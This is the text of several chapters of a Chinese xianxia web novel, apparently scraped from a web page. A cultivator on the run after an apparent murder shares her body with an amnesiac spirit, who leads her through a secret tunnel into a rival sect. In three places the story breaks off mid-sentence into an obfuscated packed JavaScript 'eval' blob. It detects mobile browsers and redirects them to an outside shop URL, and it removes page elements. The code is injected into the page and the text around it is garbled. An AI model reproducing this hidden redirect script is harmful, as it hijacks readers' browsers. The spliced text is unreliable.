阿乐语塞,叹了口气:【我都说了我有意识的时候就已经附身于你,我根本不知道我到底是谁?或者如你所说,我到底是个什么东西?】 王乐摇头:“不,你行事果断,很有主见,又似乎对仙门之事有些了解?” 其实对于此疑问,阿乐也颇感疑惑,潜意识中她似乎对周遭的一切,对如今的仙门拥有基本的常识,就好像她虽不记得自己是谁,可对周围的事却并不陌生。 【也许我仅仅只是忘了自己是谁,时间久一些,我可能会想起更多的事。】 王乐“哦”了声,垂眸看着自己交握的指尖,指尖被冻得发红。 【不要扯开话题,王竹月为何想治你于死地,王乐,我如今和你共用一具身体,你若是死了,怕是我也活不了,你当我是贪生怕死也好,是真心想帮你也罢,总之我们两人一条命,你难道不该对我知无不言?】 指尖微微颤抖着,阿乐所言正中下怀,王乐的神情愈发地不自然,似乎极力掩盖的真相正呼之欲出,可她还在努力让心中的秘密再次埋葬于黑暗之中。 【王乐!】 “我......” 【快说!那个王竹月为什么想杀你!】 “我并非前来参加北武门的入试...” 【天寒地冻的,难不成你还是来欣赏雪景的不成?】 “我......只是碰巧路过此地,我是在逃命...” 【逃命?为何?】 “我好像杀了人,那人是仙门弟子,也是王氏后辈。” 【......】 阿乐哑口无言,万万没想到这个头脑单纯且无用至极的姑娘还给她放了个大招。 【杀人?】阿乐再次重复了一声:【恕我冒昧,您可实在不像是会杀人的人。】 王乐轻轻“啊”了声,这逃命的一路上她总是尽量忘记这件让她头昏脑涨且无力面对的可怖之事,自从出事后她根本不知如何作为,只顾抱头逃命,其实内心也明白,她走不远,总有需要面对的一天,而自己只是在这一天来临前尽力保命而已。 【等下。】善于抓重点的阿乐再次问道:【你刚才说的可是好像?好像杀了人?】 “我修为浅显,灵力低微,根本不可能杀得了王琮元,他的修为在王家可入三甲,而且他有极大可能成为王家下一任家督,你说我是如何能杀得了他?可事实却是他的确死了,正是被我所杀,我的确记得我和他有过争斗,次日被发现时他死在我身侧。” 阿乐默然半晌,如王乐所言属实,以她极低的灵力根本不可能是杀王琮元的凶手,既然是次日才被发现这其中的奥妙可就难解了。 【你说你和他发生过争斗?】 “嗯。”王乐倏然起身,拍去了衣裙上残留的冰雪,她言语含糊,眼神飘忽,似乎不想再提起此事了,道:“你瞧我稀里糊涂走到了北武门的地界,眼下其余人也不见了,不如找个出路先离开涿光山。” 阿乐却道:【四大仙门各处九泽东南西北四方,仙门内外法阵玄妙无数,奇珍异兽满园,所谓难进也难出,你既不小心入了北武门的地盘,比起前行,后退才是难上加难。】 王乐却连连摇头:“不,我本就不想参加什么入试,是误打误撞来了此地,原先也只想找机会想法子出去,结果撞上了陆碧城她们,等下!阿乐!你知道四大仙门?我看你虽然没什么记忆,对这个世界还当真一点不陌生,你是不是又想起什么来了?” 阿乐道:【是的,似乎时间越久我能想起更多的事,很多脱口而出的话就像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坐落于东南西北的四大仙门乃是九泽大陆修行界的翘楚,各分领域,各司其职,除魔卫道,守护九泽。多年前,东龙门乐氏为四仙门之首,门主乐唯忠更被推举仙督之位,然而十六年前的一场天地浩劫,不仅各仙门弟子死伤无数,九泽遍地更是妖魔横生,罪修霍乱,乃至生灵涂炭,饿殍满地。当时合计众仙门仙家之力,用了数年时间才使九泽重归安宁,只是乐氏勾结妖魔一事让其彻底名誉扫地,遂后乐氏退却东龙门,暂立南方南雀门之地,掌管南方一寸焦土,而在这场浩劫中功不可没的慕氏和温氏则成为众仙门的砥柱中流。北武门慕氏,这些年修行能人辈出,修为深不可测,所私藏的灵器仙物更是如数家珍,让众多修行者蜂拥而至,趋之若鹜,志在踏入北方极地,成为北武门的修行弟子。而温氏在浩劫后便入主四方之中灵气最为充盈之地的东方,成为东龙门的主人,温氏座下弟子德行出众,宽宏敦厚,在九泽中享有盛名。 阿乐点头称是:【听下来论修行深浅,这北武门怕是一骑绝尘啊,也是理解,人都是慕强的。】 “不!”王乐平和的神情一时有些许讥讽,与她先前躲闪怯弱全然不同,忙道:“修为再高灵力再强又如何,若是伤害了别人,这样的人不配寻仙问道。” 王乐继续笼统地介绍了当下仙门的局势,并未有太过详细的解说,尤其说起一些细节时,更是轻飘飘地一句带过,似是不愿多讲。 阿乐只是嵌入王乐体内的一抹残魂,然而此时的阿乐似乎能感受到王乐的情绪波动,她有些气恼。 【话虽如此。】阿乐又道:【可强者为王,你比别人更强,就不会受欺负,并且能更容易地实现心中所想。】 王乐也不是不明白其中道理,却过不去心中那道坎,她起身再次将衣裙上下的雪霜抚去,便往相反的方向走去。 阿乐眼瞧着不对劲,出声阻止道:【等下,你要去哪里?】 王乐头也不回:“离开这里。” 阿乐冷冷道:【此地乃是北武门下的涿光山,即便没有异兽怪类,万年雪山茫茫,常年阵法密布,你确定你能走得出去?】 王乐脚步略顿。 阿乐心中一盘算,已将王乐的怪异之举理了个顺,这姑娘因杀人潜逃,误打误撞入了北武门的地盘,碰巧当值北武门入试考验,又遇上了同属一族的王竹月。 人微言轻,资质平平的王乐便随了她们几日,在昨天被当成了抵挡雪女的活靶子,其实按照眼下的处境,不如继续北武门的入试,若能顺利通过入选,倒比在外头瞎转悠来得强,可王乐的态度似乎对北武门很是抗拒,若不是因为北武门自身,那便只有因为北武门中的某个人或某件事了。 4. 误山雪(4) 王乐嘴里逞着强,脚步倒显得愈加犹豫,停顿暂缓,略显滞涩。她撞见王竹月陆碧城的第一日就知道自己误入了北武门的涿光山,王氏所居的翡翠山庄就在九泽北方,离北武门御剑不过半柱香的时间,她知道自己很难抵御妖兽和阵法,原先跟着王竹月也只是希望能寻到一丝间隙顺利溜之大吉,从未想过参与什么北武门入试。 阿乐见王乐驻足停留,心想这姑娘自己也定在犹豫,她为人单纯善良,容易被人拿捏,这样的女子多半需要用正理来令其信服,于是便继续洗脑:【灵力低微如你,在外逆风恶浪,定是凶险万分。若你真是无辜被陷害,又如何挺直腰板做人,自然是要自证清白,且不再任人宰割,仰人鼻息。】 王乐眼睫轻颤,内心犹如骇浪席卷,她一路只顾逃命,从未想过之后要怎么办又该怎么做,只拼命想着能逃一日便逃一日,能活一天便苟一天。 轻叹一声:“王家的人都认为是我杀的人,那匕首就在我手上,就连我自己都说不清真相,或许还真就是我所杀。” 阿乐见王乐如此死脑筋,完全气不打一处来,连语调也上升了几分:【不管是不是你所杀,真相是你必须要知道的,在得到真相前你所需要的只有自保,可惜你一人办不到,那就只有借助北武门的力量了。】 王乐见她说了一大圈的话最后溜回了起点,不禁苦涩一笑:“说来说去,你就是想劝说我继续参加入试。” 【你若是拜入了北武门座下,偌大的仙门,自然不会不顾你死活,即便将你舍弃,也定会先验明真相。】 阿乐此话是在理的,王乐驻足原地,思绪翻涌,开始权衡利弊。 阿乐见她还在思考,心知她动摇,立即再添一火:【王乐,我如今借助你身体,虽无实体,好歹也是残魂一缕,心善如你,总该为我想想,说好的要为我寻找来处?为我追根因果?】 阿乐此话还真是说对了,心善柔软就是王乐最大的优缺点,在她看来,虽然莫名其妙被附身控制,可这个阿乐也着实可怜,记忆不清,不知来处,甚至不明自己曾为人或妖,是鬼还是魔。 世间万物种种,唯独选中了自己,莫非她们二人还真有某种奇怪的缘分。 自己横竖就是一个“死”字,若是死前能帮到这个孤魂野鬼一二,也算是功德一件了,更何况她昨晚还救了自己,也算是一报还了一报。 “阿乐,我答应你,只是你也说我灵力低下,能不能活着通过北武门的入试尚且是个未知之数。” 阿乐见心愿达成,满意地一笑:【此事倒不用过分担心,我们.....】 “等下!”王乐又开口了,语气有些急促:“我堂姐...我想先找到她...阿乐,你真不该去害她,我被当做杀人犯的时候,堂姐都不在王家,其实她未必知道这件事,她未必是真的想害我。” 阿乐心说这姑娘的善良怕是有些过了头,别人害她,竟还想着助人逃生。 【不管你堂姐知不知道,她的修为比上不足比下有余,你不如先担心下你自己。】 王乐心里一个咯噔,虽然这阿乐救了她,可她多多少少不认同阿乐的某些想法,此人爱憎分明,行事果断,做事毫不留情面,和自己截然相反。 “我堂姐是王家的人,我也是,若我真是杀害王琮元的凶手,我便不想再造杀孽了。” 阿乐心下叹了口气,也不知自己结了什么样的因果,竟附身在了一个和自己性格完全迥异之人身上,她断然是瞧不起王乐这样单纯愚善,行事犹豫之人,然而现在自己身处客场,根本别无选择,她其实断可以直接操控王乐的身体,可她并不想这么做。 一来,昨晚她控制王乐身体后,神识竟有些恍惚虚脱,这具身体的主人依旧是王乐,过度操控的结果反而会自毁神识,若是最后因此魂飞魄散,未免得不偿失。二来,她既然答应了王乐不会随意控制她的身体,言而有信这点她潜意识是希望自己能遵守的。最关键的一点,在她发现王竹月的动机后,在缢鬼尚未对她动手之时,她已悄然划破手指掐了张迷路符,偷放在了王竹月身上,除非她有通天大能,否则不出意外她会困死在这雪山之中,以王乐的修为想去救人,怕是只会让自己一条小命也搭了进去。 若不是王竹月想弄死她,阿乐不至于会做到这个地步,王竹月若是不知道王乐杀人一事,为何陆碧城其余人等同样不希望王乐能活着走出去?这摆明了就是逮着王乐使劲欺负。如果王乐活着通过入试,她们利用她当挡箭牌一事变会败露。不管怎么说,王乐自然死亡于北武门的入试之中,这是最好的结果。 以德报怨可不是阿乐的作风,可惜这善良的王乐却不懂,阿乐实在好奇王乐是如何养成如今这至善至纯,伏小卑微,任人欺凌,万事忍忍的脾性。 【你想救她,得先救你自己,你堂姐和陆碧城是一路人,她们自会寻她,涿光山光怪陆离,尤其到了深夜,异兽出没,阵法加强,你又预备如何走得出去。】阿乐摸准了王乐的脾性,稍加言语劝慰,这丫头便不容易太过反抗了。 果然王乐哑然不语。 【我问你,如何算是通过北武门的入试?】 王乐搓手哈气,看着自己冻得通红的手背,内心好奇不已,她向来怕冷,来到此处的前几日还觉得身心发寒,眼下可是万年冰雪不融的涿光山,可从昨日起便不那么害怕了。身体不觉得太过寒冷,可她止不住地心冷,仿佛有股寒气顺着血液筋脉游走全身。 “入试规则倒不复杂,北武门就在涿光山之巅,只要能攀越雪山,到达北武门下即可。我听说往年的入试中,一路披荆斩棘,真正能过关斩将之人少之又少。雪山深处,有的可不仅仅是异兽奇怪和玄妙阵法。”王乐眺望雪山茫茫,入目皆是亮眼之白,很难想象背后还隐藏着多少暗涌凶险。 阿乐却语气笃定道:【有条密道,就在山腹之中,可直达北武门内部。】 王乐挑眉吃惊道:“阿乐,你又是怎么知道这个惊天大秘密的!你绝对不是什么普通人!” 阿乐其实自己也没想明白,她隐隐想起了一些事,可是无法归根溯源,仿佛这些事就像是常识一样刻入骨髓,她不知自己是如何知道这些讯息的,她只知道事情就是如此。 随着时间的推移,她似乎能想起更多的事。 【我不知道,你若是相信我,大可一试,我们先前往涿光山的山腹。】 一个时辰后,半信半疑的王乐已深入山腹之中,四周的松柏和灌木密布横生,厚重的积雪压弯了脆弱干扁的枯枝,偶尔有零星的雪霜飘落而下,苍白无垠,前路溟茫。 这一路上异兽出现的频率极低,王乐掐指一算,不过二三,都是些山野所见的寻常精怪,她兜里的符篆所剩不多,威力也并不强大,然而对付小妖小怪是绰绰有余了。 “阿乐,现在要往哪儿走,这一路走来不见一个脚印,怕是从未有人来过此处吧,起码其他受试者绝对没有来过。” 王乐其实不用说话,便能在心里和阿乐对话,但是她更喜欢在无人的时候张嘴说话,阿乐更像是看不见的“朋友”。 【不断落下的积雪会压垮枝芽,但是有一棵松柏即便被重雪覆盖,依旧傲然挺立,稳如磐石,你不妨找找。】 王乐在落满冰雪的群树中搜罗了个遍,终于发现了这么一棵与众不同的松柏。 这棵松柏相比其它,树干更为粗壮,它倚崖而立,似乎历经岁月无数,饱经风雨,久经风霜。然而只有它坚毅如旧,厚重的积雪只是浮华的外衣,无法撼动丝毫,每一条枝芽都微曲而上,倔强凌傲,毫无折损,仿佛一生反骨,坚韧强悍。 阿乐缓缓道:【树的背后有个山洞。】 王乐沉思片刻,愈发不可置信:“阿乐,你到底还知道些什么?” 【我不知道。】阿乐虽是残魂,可依旧存有感知,她觉得此时的心一抽一抽地疼,这些如同常识一般存在的记忆像针扎似地往她心口毫不留情地戳扎着,她觉得内心难受至极。 “行了,你什么都不知道,你就只是知道这里有个洞口。”王乐有些生气,她总觉得阿乐知道些什么,却又不愿意对她说,明显不拿她当“生死与共,共用一体”的朋友。 朋友?起码目前王乐真把阿乐当朋友了。 王乐心里生着闷气,脚步却实诚地朝着洞口挪去。 【王乐。】阿乐倏地开口,语气是不容置疑的肯定:【往右侧走,不要往左。】 王乐心说你怎么又知道了?她开始确信阿乐根本不是什么简单的人,若同为修士,必定灵力高强。若是妖物,定是个诡计多端的,否则又怎会知道如此多的事。心里如此之想,脚步却乖乖地退回,拐道往右侧挪去。 “阿乐,你很不对劲,你到底是......”王乐一句话未落,只感觉背后一股凌厉之气直冲而来,她一不留神直接被撞飞在坚硬的崖壁,随着落雪摔落在地。 王乐胸口闷痛,喉口泛甜,抬头见一朱樱色衣裙的女子浅笑嫣嫣立于身前,正是先前遇见过的陆碧城,她右手悬空托着灵器破空锤,阵阵绚蓝之光映衬着四周的雪白更为刺眼。 “我一早就觉得你不对劲,就凭你如此低微的灵力,也敢来参加北武门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话中反讽,直呼其名,这是王乐从前绝不会做的事,此时的王乐无法操控本该属于自己的身体,自己的意识被积压在了小角落,听到阿乐如此之说,只得瑟瑟发抖。 陆碧城见一向畏首畏尾的王乐此时虽然面色如常,却丝毫不同往日,有种你能拿我怎样的气定神闲。 这丫头是失心疯了不成,或是临死前的挣扎? 陆碧城那张绝美艳丽的脸闪过一丝狠色,她资质不差,是仙家陆氏的掌上明珠,何时受过这样的挑衅。 她就是要王乐死! 破空锤闪着幽幽蓝光,似是能感应到主人的心境,在右手之上疯狂地盘旋。 “驱邪卫真,破空出击,起!”陆碧城神情凌厉,手腕微转,盘旋的破空锤骤然停顿。 腾空而起的陆碧城随着灵器风驰电掣般朝着王乐直袭而来! 胆战心惊的王乐只感觉天旋又地转,压迫感直面而来,然而阿乐似乎完全没有继续操控她身体试图躲避的意思,就这样懒洋洋地站在那里。 【阿乐!你在做什么!快逃啊!】王乐生气极了,每次阿乐控制她的身体时,她就无法再自行操控了,只能干等阿乐归还主导权。这分明是她的身体,可阿乐似乎比她更有主控权。 阿乐依然巍然不动,甚至困意来袭。 蓝光大盛,直面而来,视野中惊亮一片,那森寒的破天锥即将重击到她之时,有什么东西自上方而落,速度极快极利,暂时退居幕后的王乐甚至看不清眼前发生了什么,只听陆碧城尖叫一声,有什么东西重落于地,又有什么东西被拖拽的滋啦声,尖叫和窸窣声交错嘈杂,天摇地动间被封锁无法动弹的王乐只感觉眼前霜雪纷飞,视野混沌,而当一切飘散殆尽后,蓝光骤然陨灭,陆碧城已不知所踪。 阿乐自知危险已过,主动交换了操控权。 拿回主导权的王乐左顾右盼,问:“刚才发生了什么?她不见了?” 阿乐懒洋洋地道:【抬头。】 这棵树龄万年的松柏即便被落雪覆盖,却依旧能见其中枝叶扶疏,往树下一站,顶上繁枝密如亭盖,而在错综的雪霜之间,依稀可见一个人影正束缚其中,她似乎在挣扎,却未闻其声。 王乐惊呼道:“那是陆碧城!” 她再仔细一瞧,发现这些树枝根本不像单纯地从树干上生长而出,更像是无法预知长度的藤蔓,收缩随意,任意曲张,想来刚才是这棵松柏将陆碧城卷入了腹中。 此时的阿乐不给王乐任何心软犯傻的机会,立即道:【你赶紧进洞,你再犯傻站着,下一个倒霉的就是你了。】 5. 误山雪(5) 王乐猛吸一口气,转身就跑,在阿乐的指挥下,在松柏背后的正下方,扫去了覆盖在岩壁上的落雪,很容易便找到了足以容一人通过的山洞,望之幽深至极,不可探测。 王乐钻入其中,虽然洞内并不平坦,可她一股脑踮着脚尖跑出了数丈远,约莫半柱香的时间,她的体力到达了极限,当她驻足而留,气喘吁吁之时,阿乐再次出声喊住了她。 【你伤势未好,还是先休息片刻吧,不必着急,不会有人找到这儿的,密道的尽头是北武门内部。】 气短胸闷,血气翻涌,这可不是什么好兆头。 王乐扶着山壁,缓缓地坐下,胸口依旧一抽抽地疼,顺了几口气,才断断续续地说道:“你说这密道是通往北武门的内部的?我想快点去到,我想找人来救陆碧城,放任她不管的话,她很快就会死的。” 阿乐:【??????】 “我知道你一定想说她要害死我,这样的人死不足惜。”王乐的气稍许顺了些,小嘴继续唠叨:“可她已经束手无策害不到我了,我不想害人性命,如果有人能救得了她,送她回陆家,岂不是好事一件。” 阿乐只知这山洞里的密道无人可知,若王乐去搬了救兵,岂不是便为人人所知了,更何况在她看来陆碧城天生劣性,正邪不分,一而再再而三地害人不利己,可能只有自己失心疯了才会想去救她,更何况...... 阿乐的意识依旧有些混乱,她想不起许多事,只能肯定一时半会儿也出不了人命。 【你放心,自会有人来救她。】阿乐随口一说只想先稳住这傻姑娘,如此一折腾,她的神识也有些虚缈,同样需要稍作休整。 “阿乐,你是不是也不太舒服?”王乐察觉到了她的不对劲,向来盛气凌人的语气态度竟然有些虚浮,她突然意识到自己竟也能感知到她了。 王乐激动地笑道:“阿乐,我也能感受到你了!这样才对嘛!这样才算公平!” 阿乐闷笑,心说这姑娘真是傻得可爱,不过想来也是,自己附了她的身,如果自己一直占有主导权,总不显得这么公平。 【王乐,不管我是人是鬼,是妖是魔,我说过我定不会害你伤你,但如今你我生死与共,你能告诉我更多,我也能保全你越多。】阿乐的算盘打得也是啵啵响,知道这姑娘实心眼,那只有见招拆招。 王乐仰靠在山壁上,微微闭起了双眼,困倦侵袭而来。 “我这身体修为灵力低浅,即使你可以使用,但是本质如此,也是不可能短时间内修为大增的。” 阿乐缓缓道:【话虽如此没错,但是修行的办法有很多种,大可取长补短。】 眼皮直打架的王乐骤然被一语惊喜,内心存疑,忙问道:“比如?你快说!” 阿乐笑道:【此事不急,我自然会告诉你,只是凡事都该有来有往,我既然要告诉你什么,你也得说些什么与我知道。】 王乐好奇地问:“你又想知道什么?” 【你对北武门似有敌意,这其中缘由我很有兴趣。】 王乐觉得这小妖怪别看只剩下一缕残魂,可当真不好糊弄啊!她揪准的点可不会轻易放手,相比前生定是个执拗的硬脾气。 叹了口气,缓缓道:“我厌恶那些伤害别人的人,纵使你有万般理由,可那人如果从未有害你之心,又怎能轻易去伤害别人,更别说那人或许是你最亲近之人。” 【哦,此话何解?说的又是何人?】 王乐睡意彻底消弭,一想起这事就恨得牙痒痒,内心愤愤不平,几乎是咬牙切齿道:“导致四大仙们格局大变的缘由便是众仙门仙家合力讨伐乐氏,这一切的始作俑者就是慕齐光,如今的北武门门主!” 阿乐不轻不重“哦”了声。 王乐见她态度轻慢,不禁气上加气,呵道:“你不懂!” 【可不,就是不懂才来问的你。】 “慕齐光当年和乐氏的.....大小姐曾有婚约,当时在众仙门眼中可是郎情妾意,恩爱非常,当年的乐氏是四大仙门之首,慕齐光还是北武门的少主,仙门第一公子,可就在大婚前夕,这个背信弃义的狗男人出卖了乐家小姐!” 【怎么个卖法?】 “乐家的小姐乃鬼族后裔。” 阿乐问:【鬼又是什么?】 “此事说来话长,三十六年前仙门灭了为非作恶,罪业深重的鬼族,而乐卿正是鬼族唯一留存的后裔。” 阿乐心里一哆嗦,只觉得她们三人竟都带着一个“乐”字,真不知是巧合还是必然。 阿乐屈膝而坐,洞内的温度稍显暖和,她盯着自己通红的手背,心思却飘向了过往种种,续说道:【乐家小姐生长于仙门,无人知她是鬼族血脉,却被慕齐光在大婚前当众戳穿,这难道不是在众目睽睽下往她心尖上狠狠刺了一刀!】 王乐内心一股难掩的心酸直涌而上,眼眶酸涩,落泪而下,通红的手背氤湿成了一片小水洼。 阿乐感觉到了她心绪涌动,便问:【你怎么了?似乎很同情这位乐家小姐。】 “那是自然!甭管鬼族如何作恶,乐卿可没做什么缺德事,她是个好姑娘!” 阿乐道:【虽然你我不过相识一日,但是你很少如此笃信一人,你与这位乐家小姐是旧识?】 “东龙门前门主乐唯忠,他的夫人与我乃是本家,同出仙家王氏,王夫人是我姑母,乐卿是乐唯忠的养女。” 阿乐心说这其中人物关系弯弯绕绕,颇为复杂,只是王乐口口声声帮衬这位乐氏小姐,想必传闻也不可尽信,恐怕正是这乐小姐的身份成为了乐氏覆灭的灾祸。 “你说吧,如果这狗男人真心爱乐卿,又怎么会轻易爆料她身份?仙门之首,仙督之位向来是仙门仙家的争夺大战,北武门当年也曾跃跃欲试,尽力一争。照我看,他就是诓骗了乐卿,害了她性命,又毁了乐氏。结果呢,竟是温氏居稳东龙门这风水宝地,而乐氏自十六年前那场大祸后便一蹶不振,南方早已是焦土一片,乐氏从人杰地灵的东方醉山移居至不毛之地...哎。” 听王乐这般一说,阿乐心中有股莫名的情绪直往上涌,百转千回,心绪翻转,乐氏,乐卿...... 阿乐觉得心口闷得发慌,一时之间,唯有的神识也随之混乱不堪。 “所以我讨厌慕齐光!讨厌北武门!要我参加入试,那我宁愿被追杀至死。” 阿乐还沉溺于这些陌生的名字姓氏之间,一时感触万千,无从说起,见王乐义愤填膺,又多嘴问道:【仙门之人向来崇尚霁月光风含仁怀义,不管这乐小姐是不是鬼族后人,这慕齐光爆人隐私,全然不顾旧时情爱,难道不该为众人所不齿吗?】 “呵呵。”王乐冷笑数声,她虽不是惊艳世人的长相,却是小家碧玉的温和,如今这温良柔软的小脸上仿佛六月落下七月寒霜。 “鬼族是仙门的心头大患,唯一的后人乐卿就像是仙门眼中的肉刺一般扎眼,十六年前除去大患,当年即使有人说慕齐光背信弃义,可大部仙家却认为这分明是慕齐光遭受了蒙骗,他是弃暗投明,忍辱负重!阿乐,很多事我也是听人说的,但是随后的那场天地浩劫真的相当惨烈,我们修行者尚有灵力抵御,可普通人却没有,当年所有的仙门仙家弟子,乃至散修都在捍御九泽众生,尤其是温氏,简直成为了九泽百姓眼中的活菩萨,当年真的是灾祸连连,妖魔横生,鬼魅夜行,干旱水患接连而起,足足数年才恢复安宁。而慕齐光,何止是有愧于乐卿,传言他弑父行凶,行事狠绝毒辣,全然不是正派的仙门弟子所为。” 【听上去是很糟糕。】阿乐反问:【可你看如今来参加北武门入试的人可当真不少。】 “那是因为慕齐光...他太强了。”王乐紧咬下唇,她不想承认,又不得不承认:“这些年他修为大增灵力卓然,早已非寻常弟子可比,而北武门下一众修士,修为也远超其余仙门。仙督之位悬而未决,这慕齐光必是垂涎许久,好在众人的眼睛是雪亮的,在世人心中还是温氏更怀有仁爱之心。” 阿乐连连摇头:【非也,人都是慕强的,这些趋之若鹜的受试者足以说明一切,要我看若是这慕齐光当真手段狠辣,你又真能成为北武门下弟子的话,也许还真能保你一命。】 闲话扯久了,王乐想起自己还在入试考核中,眼下正在北武门不为人知的密道之内,一想起这个,她不免身心发寒,连连作呕。 “阿乐,我真是着了你的道,现在的我是进退两难!但是不太对劲,刚才那颗松柏袭击了陆碧城,可为什么我没事啊!” 阿乐笑道:【你相信也好,不相信也罢,我也不知道为什么,我的潜意识告诉我这里有条通往北武门内部的密道,且能安全通过。总而言之你眼下唯一的出路就是你憎恨的北武门,它能护你一时周全,你要是休息够了,就赶紧继续前行,可别再说宁愿死也不加入北武门的傻话了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17382711|200211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,原因只有一个你想死,可我不想,你要对我负责。】 这话让王乐压根无法寻到有力的借口......她总觉得这逻辑有哪儿不对,可她那不利索的嘴张合半天,愣是一词未出。 王乐睡意全无,这密道内潮湿阴暗,呆久了,让她本就发寒的身体更添了几分直入骨髓的凉意,就连衣裙也染上了寒气,非常地不舒适。 这密道地面平坦,王乐索性小跑了起来,不忘继续唠叨着:【我没有半点成为北武门弟子的可能!北武门看中弟子自身潜质,我这等资质他们根本看不上!】 阿乐不置可否,此话倒未必有错,以王乐的修为别说四大仙门,怕是寻常小门小户的仙家也得挑拣一二。 【你说你的资质为何如此之差?】 王乐:“......” 【你平时都不锻炼身体?】 王乐:“......” 【你到底有没有认真修行?要是勤能补拙,也不至于你如此境地。】 王乐:“......” 阿乐屏气凝神,来回思考了个遍,得出最后结论:【也许还有一个办法可以一试。】 王乐眼神骤亮,迫不及待地问道:“我还能抢救一下?” 【利益交换。】 王乐停下了脚步,没懂阿乐的意图。 王乐这番介绍解说已经让阿乐将目前修行界的大概捋了个顺畅,说到底修士也是人,仙门无外乎是另一个九泽人间世界,但凡是人生存的地方就有其规则,利益是永远追求的目标。 【王家并非小门小户的仙家,势必有不少宝贝吧。】 此言一出,王乐还没琢磨出阿乐的意图,反而是正儿八经地思考着这个问题本身。 “有是有,翡翠山庄专设一处别院用于收藏灵物,比如青花诗文盏,传言由此盏饮水,哪怕是再苦再咸的滋味都能变得甘甜无比。还有雪景山水玉瓶,只有在特定的季节时辰和方位才能见到瓶身流动的溪河和耀眼夺目的雪景,还有......” 【这些只是寻常的灵物灵宝,我想轻易入不了北武门的眼,王家可有神器?】 仙门弟子所使用的佩剑,饰物,灵器,灵物,符篆等等也被区分稀有和寻常。简单来说,普通的武器和物品通常经由后天锻造炼制而成,最多只能算是灵物一挂,而真正稀有的只有神器,乃天地之初便以存在于世,无人知晓来由,历经无数岁月历练,是修行界最为珍贵的灵器。 神器虽然寥寥,却并未只被四大仙门所有,普通仙家拥有的概率也是有的。毕竟神器藏匿于九泽各处,谁走了狗屎运捞到了便就算是谁的。 阿乐只此一问并未抱多大希望,然而王乐竟认真思索半晌,点头道:“也许是有,我自小听闻王家藏有一宝物,只是我没见过,王家的大部分人都未曾见过,这件宝物被安置得极其隐蔽,我想也许也是神器之一。” 阿乐这缕残魂恨不得与她击掌同庆,大笑道:【如此甚好,即便不是神器,但凡是稀世灵宝,也足够是谈判的筹码了,我...啊不对,王乐,你这下有救了。】 王乐内心不好的预感蹭蹭直冒,几乎哆嗦地问道:“阿乐,你要做什么?” 【你如果需要北武门为你撑腰,也总得利益置换,让他们觉得物有所值,我想不出有哪个仙门会拒绝神器的诱惑。】 “这不是重点!”王乐道:“我怎么可能拿的出神器交换?” 【这是筹码,如何拿到是后续,先引人上钩才是关键,你到底懂不懂。】阿乐道:【离出口不远了,你快走!】 王乐在密道里狂奔,内心却感慨这阿乐行事果断得几乎有些疯癫,似乎为了达到目的可以不计一切后果。 可关键是她存在于自己的身体,万一行事偏差,头一个倒霉的还是自己,王乐不禁苦苦摇头,感叹自己天不假年生不逢时。 密道的尽头渐渐显示出一个光圈,刺眼白茫,看来外面同样是厚雪覆盖的茫茫白色世界。待一缕白亮的阳光刺透她眼皮之时,王乐忍不住伸手遮挡,太阳化做一颗明亮的圆球正悬挂在雕琢精美纹路的飞檐上角。 这里有房屋?那她就已经在北武门之中了? 敏锐的王乐来不及欣赏屋宇雪景,急忙忙地观察四周是否有北武门的弟子接近,果不其然,在不远处一片稀疏的梅林之间,隐约可见那大片带霜的鲜红中有一个晃动的白色身影。 有人! 6. 误山雪(6) 王乐私下张望着逃跑路径,迫于无奈内心只能召唤阿乐。 “现在怎么办?往上只能攀爬屋檐,那一定会被人发现,往后逃动静不小,也会被发现,原地不动倒是个好法子,或者我再钻入洞内?”王乐一边打算和阿乐探讨,身体已经相当诚实地向后一缩,随时准备打哪儿来的就往哪儿去。 【掐诀一试。】 王乐咽了下口水,手脚开始发抖,掐诀对她而言难度太大能力不足。 “我分明可以躲起来,为何要正面硬杠?” 【我不喜逃避,更何况逃不了一世,既然你如今形单影只,力量单薄,更需要北武门的助力。】 此时的王乐已经不想去理会阿乐疯癫的想法了,她开始考虑自我救赎,直接跑路。 然而阿乐早已猜到王乐会有此之举,已直言了当地大喊一声。 【我要操控你的身体,给我起开!】 “我......”王乐“不”字未出,已经感觉到自己的意识彷佛被硬生生地向后一扯,只留下视野前方的景象。 阿乐这个天杀的! 双手灵巧地做着掐诀的手势,那是自己全然没见过的范畴,而身体呈现出轻飘之感,就像是空气流动,转瞬之间视野漆黑一片,而瞬息之间那血红的梅花已近在身侧,然而本该直达此人背后的位置却堪堪错离了两步,偏巧脚踏的雪地之下竟埋着根枯枝。 阿乐内心再次咒骂王乐这具身体极差的修为和资质。 枯枝断裂的“咔嚓”声打破了梅林的寂静,清脆一声,天地可证。 王乐心脏骤停,几乎不敢睁眼,可没有身体操控权的她只能硬生生地看着前方的白衣男子正欲回头的背影,而此时,阿乐做出了让她意料之外的举动。 她不但没有择路而逃,而是大步一跃,右手风驰电掣般向前一倾,两指扼住男子颈部,竟使了全力。 “不许出声!”阿乐呵斥道,空悬的左手藏匿背后,另起一个掐诀之势。 如此近的距离,男子的面容彻底映入瞳孔之中。 